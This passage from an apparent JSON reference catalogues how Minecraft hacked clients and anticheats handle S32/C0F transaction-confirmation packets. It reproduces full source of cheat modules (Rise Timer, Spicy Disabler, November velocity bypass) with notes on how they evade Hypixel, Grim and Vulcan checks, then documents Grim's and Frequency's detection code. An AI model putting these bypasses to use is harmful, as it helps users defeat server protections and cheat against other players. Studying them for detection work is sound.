(p instanceof S08PacketPlayerPosLook) {\n        event.setCancelled();\n    }\n}\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<TeleportEvent> onTeleport = event -> {\n\n    };\n\n\n    @EventLink\n    public final Listener<JumpEvent> onJump = event -> {\n        if(watchdog.getValue()) {\n            event.setCancelled();\n        }\n\n    };\n    @Override\n    public void onEnable() {\n        if(watchdog.getValue()) {\n            mc.thePlayer.stepHeight = 0.0F;\n            attempt = false;\n            ticksSinceTeleport = 0;\n            teleport = false;\n            ticks2 = 0;\n        }\n    }\n\n    @Override\n    public void onDisable() {\n        if (this.mc.timer.timerSpeed != 1) {\n\n            this.mc.timer.timerSpeed = 1;\n\n        }\n\n        if(watchdog.getValue()){\n            mc.thePlayer.stepHeight = 0.6F;\n            mc.thePlayer.motionX *= 0;\n            mc.thePlayer.motionZ *= 0;\n\n\n        }\n\n    }\n\n    @EventLink\n    public final Listener<KeyboardInputEvent> onKey = event -> {\n        if (watchdog.getValue() && event.getKeyCode() == getModule(Timer.class).getKey() && !attempt) {\n\n            ticks2 = System.currentTimeMillis() + 200;\n            attempt = true;\n            ChatUtil.display(\"sent\");\n            event.setCancelled();\n\n\n\n        }\n\n        if (watchdog.getValue() && attempt) {\n            event.setCancelled();\n            }\n\n\n    };\n}\n\n// NOTE (AI): S32 confirmations are queued only while on ground; the flush happens on the next strafe cycle alongside PingSpoofComponent.dispatch. The 9,999,999 ms ping spoof makes the server's latency estimates absurd, which is what masks the timer acceleration.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Timer.java",
      "vanilla_hook": "PacketSendEvent, PacketReceiveEvent, PreMotionEvent, PreUpdateEvent, TickEvent, StrafeEvent, JumpEvent, KeyboardInputEvent.",
      "anti_cheat_notes": "The 9,999,999 ms ping spoof makes the server's latency estimates absurd, which is how the timer acceleration hides. Queued S32 confirms are released on the next strafe cycle to keep the transaction stream alive.",
      "variations": "None in 6.1.30; the 6.1.30 Timer (31 lines) does not reference S32."
     },
     {
      "name": "Disabler",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Hypixel disabler: buffer every serverbound C0F and replay them slowly to inflate measured ping.",
      "how_it_works": "EventSendPacket: cancel every C0F and park it in a static list; EventUpdate: every 500-1250 ms send the oldest buffered C0F via sendPacketNoEvent; onEnable warns the user to relog. Also cancels C0C input on send and periodically re-sends C13 abilities with a random fly speed. The S32PacketConfirmTransaction import at line 30 is never used: the module's logic is purely serverbound C0F delay, with commented-out experiments in corrupting C0F fields.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/Disabler.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.ArrayList;\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\npublic class Disabler extends Module {\n\tpublic Disabler() {\n\t\tsuper(\"Disabler\", Keyboard.KEY_NONE, Category.PLAYER);\n\t}\n\t\n\tpublic static transient boolean watchdog = false;\n\tpublic static transient ArrayList<C0FPacketConfirmTransaction> C0FPackets = new ArrayList<C0FPacketConfirmTransaction>();\n\tpublic static transient Timer ping = new Timer();\n\t\n\t@Override\n\tpublic void onEnable() {\n\t\tNotificationManager.getNotificationManager().createNotification(\"Relog for the disabler to take effect\", \"\", true, 5000, Type.INFO, Color.PINK);\n\t\twatchdog = false;\n\t}\n\t\n\t@Override\n\tpublic void onDisable() {\n\t\twatchdog = false;\n\t\t\n\t\tfor (C0FPacketConfirmTransaction p : C0FPackets) {\n\t\t\t\n\t\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(p);\n\t\t\t\n\t\t}\n\t\t\n\t\tC0FPackets.clear();\n\t\t\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\t\n\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\n            PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n            playerCapabilities.isFlying = true;\n            playerCapabilities.allowFlying = true;\n            //playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.isCreativeMode = true;\n            mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            \n            // Added this\n            if (SpicyClient.config.fly.isEnabled()) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            }\n            \n            if (ping.hasTimeElapsed(500 + (new Random()).nextInt(750), true) && C0FPackets.size() > 0) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(C0FPackets.get(0));\n            \tC0FPackets.remove(0);\n            }\n            \n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tif (((EventPacket)e).packet instanceof S00PacketDisconnect) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventSendPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventSendPacket event = (EventSendPacket) e;\n\t\t\t\n\t\t\tif (event.packet instanceof C00Handshake) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n            if (event.packet instanceof C0FPacketConfirmTransaction) {\n            \t\n                C0FPacketConfirmTransaction packetConfirmTransaction = (C0FPacketConfirmTransaction)event.packet;\n                \n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(2147483647, packetConfirmTransaction.getUid(), false));\n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(1147483647, packetConfirmTransaction.getUid(), false));\n                \n                \n                //packetConfirmTransaction.setAccepted(new Random().nextBoolean());\n                //packetConfirmTransaction.setWindowId(Integer.MIN_VALUE + new Random().nextInt(1000));\n                //packetConfirmTransaction.setUid(Short.MAX_VALUE);\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                \n                C0FPackets.add(packetConfirmTransaction);\n                e.setCanceled(true);\n            }\n\n            if (event.packet instanceof C00PacketKeepAlive) {\n            \t\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(-2147483648 + (new Random()).nextInt(100)));\n                //e.setCanceled(true);\n                \n            }\n            \n\t\t\tif (event.packet instanceof C0CPacketInput) {\n\t\t\t\te.setCanceled(true);\n\t\t\t}\n            \n\t\t}\n\t\t\n\t}\n\t\n}\n\n// NOTE (AI): S32PacketConfirmTransaction is imported (line 30) but never instantiated; the module's real logic is the C0F buffer. The commented-out mutations (setAccepted, setWindowId, setUid) show the author experimented with corrupting C0F fields and left the import behind.\n",
      "code_source": "Spicy, info/spicyclient/modules/player/Disabler.java",
      "vanilla_hook": "EventSendPacket, EventUpdate, EventPacket (receive).",
      "anti_cheat_notes": "The slow C0F stream keeps the server's transaction window open while the client stalls; the S32 import is vestigial. The module targets Hypixel and requires a relog to take effect.",
      "variations": "None in the corpus; Spicy's other modules do not touch S32."
     },
     {
      "name": "VelocityModule (GRIM transaction queue)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "GRIM velocity bypass: after cancelling knockback, cancel the server's S32 confirmations and the matching outgoing C0F confirms to desync the anti-cheat's transaction-based movement timing.",
      "how_it_works": "PacketReceiveEvent: on S12 for the local player, the CANCEL/GRIM/VULCAN modes cancel it and set funny. While funny, each S32PacketConfirmTransaction is cancelled and its action number queued. PacketSendEvent: an outgoing C0F whose uid is in the queue is cancelled (and removed from the queue); the EventUpdate listener clears funny once the queue drains. VULCAN mode instead cancels the next C0F after a cancelled S12.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/VelocityModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"Velocity\",\n  description = \"Reduces or cancels out taken velocity\",\n  category = Category.COMBAT\n)\npublic class VelocityModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.CANCEL);\n\n  private final Setting<Float> horizontal = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Horizontal\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n  private final Setting<Float> vertical = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Vertical\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n\n  private final Queue<Short> transactionQueue = new ConcurrentLinkedQueue<>();\n  private boolean funny;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    funny = false;\n    transactionQueue.clear();\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mode.getValue() == Mode.GRIM) {\n      // finish trolling\n      if (transactionQueue.isEmpty() && funny) funny = false;\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mc.thePlayer == null || mc.theWorld == null) {\n      // basic resets\n      funny = false;\n      if (!transactionQueue.isEmpty()) transactionQueue.clear();\n\n      return;\n    }\n\n    if (event.get() instanceof S12PacketEntityVelocity packet) {\n      if (packet.getEntityID() != mc.thePlayer.getEntityId()) return;\n\n      switch (mode.getValue()) {\n        case REDUCE, REVERSE -> {\n          packet.setMotionX(\n            (int) (packet.getMotionX() * (horizontal.getValue() / 100.0f))\n          );\n          packet.setMotionY(\n            (int) (packet.getMotionY() * (vertical.getValue() / 100.0f))\n          );\n          packet.setMotionZ(\n            (int) (packet.getMotionZ() * (horizontal.getValue() / 100.0f))\n          );\n\n          if (mode.getValue() == Mode.REVERSE) {\n            packet.setMotionX(-packet.getMotionX());\n            packet.setMotionY(-packet.getMotionY());\n            packet.setMotionZ(-packet.getMotionZ());\n          }\n        }\n        case CANCEL, GRIM, VULCAN -> {\n          event.setCanceled(true);\n          if (\n            mode.getValue() == Mode.GRIM || mode.getValue() == Mode.VULCAN\n          ) funny = true;\n        }\n        case INTAVE -> {\n          // TODO: i have no clue\n        }\n        case WATCHDOG -> {\n          // TODO: frappy or plus add this i dont have alts\n        }\n        case WATCHDOG_SAFE -> {\n          event.setCanceled(true);\n\n          if (mc.thePlayer.onGround) {\n            // as far as im aware, this should work\n            mc.thePlayer.motionY += (double) packet.getMotionY() / 8000.0;\n          }\n        }\n      }\n    } else if (event.get() instanceof S32PacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny) return;\n        event.setCanceled(true);\n        transactionQueue.add(packet.getActionNumber());\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C0FPacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny || transactionQueue.isEmpty()) return;\n\n        // if the queue contains our transaction UID, cancel\n        if (transactionQueue.remove(packet.getUid())) event.setCanceled(true);\n      } else if (mode.getValue() == Mode.VULCAN) {\n        // this works on older versions of vulcan\n        if (funny) {\n          event.setCanceled(true);\n          funny = false;\n        }\n      }\n    }\n  };\n\n  private enum Mode {\n    REDUCE,\n    REVERSE,\n    CANCEL,\n    GRIM,\n    INTAVE,\n    VULCAN,\n    WATCHDOG,\n    WATCHDOG_SAFE,\n  }\n}\n// NOTE (AI): The GRIM mode pairs every cancelled S32 with its own outgoing C0F uid, so the server never receives the confirm it requested. WATCHDOG and INTAVE modes are marked unfinished in the source.\n",
      "code_source": "November Recode 2.0, feature/module/impl/combat/VelocityModule.java",
      "vanilla_hook": "EventPacket.In / EventPacket.Out on the November event bus; EventUpdate for state reset.",
      "anti_cheat_notes": "The queue pairs each cancelled S32 with its own C0F so the server never sees the confirm it asked for, which breaks GRIM's transaction-gap timing without flooding. The comments mark VULCAN as working only on older Vulcan versions.",
      "variations": "The Mode enum also carries INTAVE (unimplemented) and WATCHDOG_SAFE (applies partial motion manually); the S32 path is GRIM-only."
     },
     {
      "name": "MixinNetHandlerPlayClient (confirm overwrite)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Re-implement handleConfirmTransaction so every rejected S32 is auto-answered with a true C0F through the client's own send-queue mixin.",
      "how_it_works": "@Overwrite of handleConfirmTransaction: resolve the container by windowId (0 = inventoryContainer, otherwise openContainer), and when the packet says not accepted, addToSendQueue(new C0FPacketConfirmTransaction(windowId, actionNumber, true)) via Minecraft.getMinecraft().getNetHandler(). Semantics match vanilla; routing through getNetHandler().addToSendQueue means the confirm passes the class's own senpacket HEAD inject, which fires PacketSenEvent and lets modules cancel or delay it.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EntityMovementEvent;\nimport net.ccbluex.liquidbounce.event.PacketSenEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.special.AntiForge;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.client.ClientBrandRetriever;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.multiplayer.WorldClient;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.*;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S01PacketJoinGame;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\nimport net.minecraft.world.WorldSettings;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\n@Mixin(NetHandlerPlayClient.class)\npublic abstract class MixinNetHandlerPlayClient {\n\n    @Shadow\n    @Final\n    private NetworkManager netManager;\n\n    @Shadow\n    private Minecraft gameController;\n\n    @Shadow\n    private WorldClient clientWorldController;\n\n    @Shadow\n    public int currentServerMaxPlayers;\n\n    @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) {\n        final String url = p_handleResourcePack_1_.getURL();\n        final String hash = p_handleResourcePack_1_.getHash();\n\n        try {\n            final String scheme = new URI(url).getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if(!\"http\".equals(scheme) && !\"https\".equals(scheme) && !isLevelProtocol)\n                throw new URISyntaxException(url, \"Wrong protocol\");\n\n            if(isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\")))\n                throw new URISyntaxException(url, \"Invalid levelstorage resourcepack path\");\n        }catch(final URISyntaxException e) {\n            ClientUtils.getLogger().error(\"Failed to handle resource pack\", e);\n            netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            callbackInfo.cancel();\n        }\n    }\n\n    @Inject(method = \"handleJoinGame\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) {\n        if(!AntiForge.enabled || !AntiForge.blockFML || Minecraft.getMinecraft().isIntegratedServerRunning())\n            return;\n\n        PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, gameController);\n        this.gameController.playerController = new PlayerControllerMP(gameController, (NetHandlerPlayClient) (Object) this);\n        this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler);\n        this.gameController.gameSettings.difficulty = packetIn.getDifficulty();\n        this.gameController.loadWorld(this.clientWorldController);\n        this.gameController.thePlayer.dimension = packetIn.getDimension();\n        this.gameController.displayGuiScreen(new GuiDownloadTerrain((NetHandlerPlayClient) (Object) this));\n        this.gameController.thePlayer.setEntityId(packetIn.getEntityId());\n        this.currentServerMaxPlayers = packetIn.getMaxPlayers();\n        this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo());\n        this.gameController.playerController.setGameType(packetIn.getGameType());\n        this.gameController.gameSettings.sendSettingsToServer();\n        this.netManager.sendPacket(new C17PacketCustomPayload(\"MC|Brand\", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName())));\n        callbackInfo.cancel();\n    }\n\n    @Inject(method = \"handleEntityMovement\", at = @At(value = \"FIELD\", target = \"Lnet/minecraft/entity/Entity;onGround:Z\"))\n    private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) {\n        final Entity entity = packetIn.getEntity(this.clientWorldController);\n\n        if(entity != null)\n            LiquidBounce.eventManager.callEvent(new EntityMovementEvent(entity));\n    }\n\n    @Inject(method = \"addToSendQueue\", at = @At(\"HEAD\"), cancellable = true)\n    private void senpacket(Packet<?> packet, final CallbackInfo callbackInfo) {\n        final PacketSenEvent event = new PacketSenEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n        if (event.isCancelled()) {\n            callbackInfo.cancel();\n        }\n    }\n    @Overwrite\n    public void handleConfirmTransaction(S32PacketConfirmTransaction packetIn) {\n        PacketThreadUtil.checkThreadAndEnqueue((Packet)packetIn, (INetHandler)this, this.gameController);\n        Container container = null;\n        EntityPlayerSP entityplayer = Minecraft.getMinecraft().thePlayer;\n        if (packetIn.getWindowId() == 0) {\n            container = entityplayer.inventoryContainer;\n        } else if (packetIn.getWindowId() == entityplayer.openContainer.windowId) {\n            container = entityplayer.openContainer;\n        }\n        if (container != null && !packetIn.func_148888_e()) {\n            Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));\n        }\n    }\n}\n// NOTE (AI): The overwrite is a faithful re-implementation of the vanilla handler, but it sends through getNetHandler().addToSendQueue, which this same mixin class injects at HEAD to fire PacketSenEvent, putting the auto-confirm on the event bus.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java",
      "vanilla_hook": "@Overwrite on NetHandlerPlayClient.handleConfirmTransaction; C0F send through addToSendQueue.",
      "anti_cheat_notes": "Behaviorally identical to vanilla, so no new detection surface; the point is that the confirm now travels through the LiquidBounce send event where Disabler-style modules can intercept it.",
      "variations": "The same mixin class guards resource packs and fires EntityMovementEvent (see the C19 and S14 impl pages)."
     }
    ],
    "general_hooks": "PacketReceiveEvent is the universal S32 surface in Rise. WatchdogDisabler adds PreMotionEvent and PacketSendEvent; Timer adds TickEvent, StrafeEvent, JumpEvent and KeyboardInputEvent; Spicy touches only the serverbound side via EventSendPacket. November Recode 2.0 uses EventPacket.In and EventPacket.Out on its own bus; LiquidSense Dev routes the auto-confirm through its send-queue mixin.",
    "client_variations": "Rise 5.99 has only Debugger. Rise 6.1.30 ships WatchdogDisabler, InventorySync and Debugger; 6.2.4 adds the velocity modes (VulcanVelocity, WatchdogVelocity, WatchdogPredictionVelocity) and the Timer watchdog mode. Spicy's Disabler imports S32 but processes only C0F. Memeware, Nekoware, Sigma and Tenacity 6.0 carry only the vanilla handler. November Recode 2.0 is the only client cancelling S32 on the receive side (VelocityModule GRIM); LiquidSense Dev re-implements the handler rather than cancelling it.",
    "related": [
     "C0FPacketConfirmTransaction",
     "C0EPacketClickWindow",
     "S30PacketWindowItems",
     "S2FPacketSetSlot",
     "S00PacketKeepAlive"
    ],
    "anticheat": {
     "overview": "S32 is the server's transaction confirmation, the oldest reliable latency probe in the protocol: the server sends a transaction id, the client echoes it back, and the round trip is the ping. Modern anticheats have turned the echo into a transaction clock (Grim sends a transaction before and after sensitive packets, Hydro schedules work on frames), while classic anticheats use it as a ping spoof detector by comparing transaction latency against keep-alive latency. Because the client must echo the exact id, S32 is also where ping-spoof disablers attack the anticheat.",
     "checks": [
      {
       "name": "PacketPingListener (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Runs the transaction clock: sends transaction ids the client must echo, tracks send and receive order, and fires the transaction events the whole anticheat schedules on.",
       "how_it_works": "On the OUT side, records each sent window-confirmation (negative ids Grim generates, and the ping packet on modern versions) into a sent-map and increments lastTransactionSent. On the IN side, only accepts replies whose id was actually sent, marks the transaction valid, cancels the echo to keep packet limiters happy, and fires the send/receive events that checks, setback teleports and velocity handlers all schedule against.",
       "detects": "Ping-spoof disablers that echo fake transaction ids, and any client that reorders or drops transaction confirmations.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPingListener.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.api.event.events.GrimTransactionReceivedEvent;\nimport ac.grim.grimac.api.event.events.GrimTransactionSendEvent;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.ShortToLongPair;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPong;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientWindowConfirmation;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPing;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowConfirmation;\n\npublic class PacketPingListener extends PacketListenerAbstract {\n\n    private static final GrimTransactionSendEvent.Channel SEND_CHANNEL = GrimAPI.INSTANCE.getEventBus().get(GrimTransactionSendEvent.class);\n    private static final GrimTransactionReceivedEvent.Channel RECEIVED_CHANNEL = GrimAPI.INSTANCE.getEventBus().get(GrimTransactionReceivedEvent.class);\n\n    // Must listen on LOWEST (or maybe low) to stop Tuinity packet limiter from kicking players for transaction/pong spam\n    public PacketPingListener() {\n        super(PacketListenerPriority.LOWEST);\n    }\n\n    @Override\n    public void onPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.WINDOW_CONFIRMATION) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            player.packetStateData.lastTransactionPacketWasValid = false;\n\n            WrapperPlayClientWindowConfirmation transaction = new WrapperPlayClientWindowConfirmation(event);\n            short id = transaction.getActionId();\n\n            // Vanilla always uses an ID starting from 1\n            // Check if we sent this packet before cancelling it\n            if (id <= 0 && player.addTransactionResponse(id)) {\n                player.packetStateData.lastTransactionPacketWasValid = true;\n                boolean shouldCancel = !GrimAPI.INSTANCE.getConfigManager().isDisablePongCancelling();\n                // Not needed for vanilla as vanilla ignores this packet, needed for packet limiters\n                event.setCancelled(shouldCancel);\n                RECEIVED_CHANNEL.fire(player, id, shouldCancel, event.getTimestamp());\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.PONG) {\n            WrapperPlayClientPong pong = new WrapperPlayClientPong(event);\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            player.packetStateData.lastTransactionPacketWasValid = false;\n\n            int id = pong.getId();\n            // If it wasn't below 0, it wasn't us\n            // If it wasn't in short range, it wasn't us either\n            if (id == (short) id) {\n                short shortID = (short) id;\n                if (player.addTransactionResponse(shortID)) {\n                    player.packetStateData.lastTransactionPacketWasValid = true;\n                    boolean shouldCancel = !GrimAPI.INSTANCE.getConfigManager().isDisablePongCancelling();\n                    // Not needed for vanilla as vanilla ignores this packet, needed for packet limiters\n                    event.setCancelled(shouldCancel);\n                    RECEIVED_CHANNEL.fire(player, id, shouldCancel, event.getTimestamp());\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.WINDOW_CONFIRMATION) {\n            WrapperPlayServerWindowConfirmation confirmation = new WrapperPlayServerWindowConfirmation(event);\n            short id = confirmation.getActionId();\n            //\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            player.packetStateData.lastServerTransWasValid = false;\n            // Vanilla always uses an ID starting from 1\n            if (id <= 0) {\n                if (player.didWeSendThatTrans.remove(id)) {\n                    player.packetStateData.lastServerTransWasValid = true;\n                    player.transactionsSent.add(new ShortToLongPair(id, System.nanoTime()));\n                    player.lastTransactionSent.getAndIncrement();\n                    SEND_CHANNEL.fire(player, id, event.getTimestamp());\n                }\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.PING) {\n            WrapperPlayServerPing pong = new WrapperPlayServerPing(event);\n            int id = pong.getId();\n            //\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            player.packetStateData.lastServerTransWasValid = false;\n            // Check if in the short range, we only use short range\n            if (id == (short) id) {\n                // Cast ID twice so we can use the list\n                short shortID = (short) id;\n                if (player.didWeSendThatTrans.remove(shortID)) {\n                    player.packetStateData.lastServerTransWasValid = true;\n                    player.transactionsSent.add(new ShortToLongPair(shortID, System.nanoTime()));\n                    player.lastTransactionSent.getAndIncrement();\n                    SEND_CHANNEL.fire(player, id, event.getTimestamp());\n                }\n            }\n        }\n    }\n}\n// NOTE (AI): Grim listens at LOWEST priority specifically so Tuinity's packet limiter does not kick players for the transaction spam the anticheat itself generates.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPingListener.java",
       "variations": "Hydro's TransactionTracker uses Pledge frames for the same two-phase confirmation; Frequency keeps a simple id-to-timestamp map."
      },
      {
       "name": "PingSpoofA (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency"
       ],
       "purpose": "Flags ping spoofing as a divergence between the transaction-measured ping and the keep-alive-measured ping.",
       "how_it_works": "On each flying packet, reads the transaction ping (from the ConnectionManager echo map) and the keep-alive ping. If the transaction ping exceeds the keep-alive ping by more than 50ms outside lag, teleport, tps and chunk exemptions, and after the first 10 ticks, the check fails.",
       "detects": "Ping-spoof modules that inflate only the transaction clock while the keep-alive clock stays honest.",
